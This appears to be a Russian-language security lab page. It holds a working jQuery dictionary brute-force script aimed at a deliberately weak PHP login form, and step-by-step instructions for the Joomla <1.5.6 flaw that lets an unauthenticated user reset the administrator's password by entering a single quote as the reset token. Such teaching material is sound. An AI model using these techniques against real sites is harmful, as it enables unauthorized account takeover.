|
Задание № 1 Атака методом перебора на учетную запись сайта
Атака методом перебора (“bruteforce”) основывается на атаке со словарем на все возможные комбинации пароля пользователя.
Исходный код системы аутентификации (файл index1.php):
<?
if(isset($_POST['name']))
{
print_r($_POST);
if($_POST['name'] == "admin")
{
if($_POST['password'] == "123456789123456789")
{
echo "Auth: complete";
}
else
{
echo "Auth: wrong password";
}
}
else
{
echo "Auth: wrong user name";
}
}
?>
<form action="#" method="POST">
<input type='text' name='name'>
<input type='password' name='password'>
<input type='submit' value='Авторизоваться'>
</form>
Исходный код системы подбора пароля (файл hack.php):
<script src="//ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js"></script>
<input id='start' type='submit' value='Начать атаку перебора пароля'>
<div id='information'>
<p>Логин пользователя: <span><b>admin</b></span></p>
<p>Проверяемый пароль: <span><b id='pass'></b></span></p>
</div>
<div id='the_end' style='display: none'>
<p>Пароль был успешно подобран!</p>
<p>Успешная авторизация с парой:   <span class='name'>admin</span>: <span class='pass'></span></p>
</div>
<div id='the_end2' style='display: none'>
<p>К сожалению в словаре не был найден подходящий пароль!</p>
</div>
<script>
var mass_words;
var i = -1;
function GetPost()
{
i = i+1;
$("#pass").html(mass_words[i]);
if (mass_words[i])
{
$.post("index1.php",
{
name: "admin",
password: mass_words[i].substring(0, mass_words[i].length - 1),
},
function(data)
{
if(data.indexOf("complete") >= 0)
{
$(".pass").html(mass_words[i]);
$("#the_end").css("display", "block");
}
else
GetPost();
}
);
}
else
{
$("#the_end2").css("display", "block");
}
}
$(document).ready(function()
{
$.get('dict1.txt',{},
function(txt)
{
var words = txt;
mass_words = words.split('\n');
});
$("#start").click(function()
{
GetPost();
});
});
</script>
Задание №2 – Уязвимость смены пароля в cms Joomla версии < 1.5.6
Основная уязвимость CMS данной версии находится в строке:
$db->setQuery('SELECT id FROM #__users WHERE block = 0 AND activation = '.$db->Quote($token));
Данная уязвимость позволяет произвести смену пароля пользователя для учетной записи, которая не имеет в поле `activation` никаких данных и имеет наименьшее значение поля `id`, а именно это учетка администратора сайта (создается при инсталяции cms на хостинг)
Последовательность действий для смены пароля неавторизованным пользователем для учетной записи администратора сайта:
1. Переход по ссылке http://[host]/index.php?option=com_user&view=reset&layout=confirm
2. Вставка в поле пользователя имени администратора, в поле «Код подтверждения» символа ‘
3. Смена пароля администратора
4. Процедура аутентификации по ссылке http://[host]/administrator/ с новым паролем
5. PROFIT
Дата добавления: 2015-08-28; просмотров: 25 | Нарушение авторских прав
<== предыдущая лекция | | | следующая лекция ==> |
Не только мастера - козлы | | |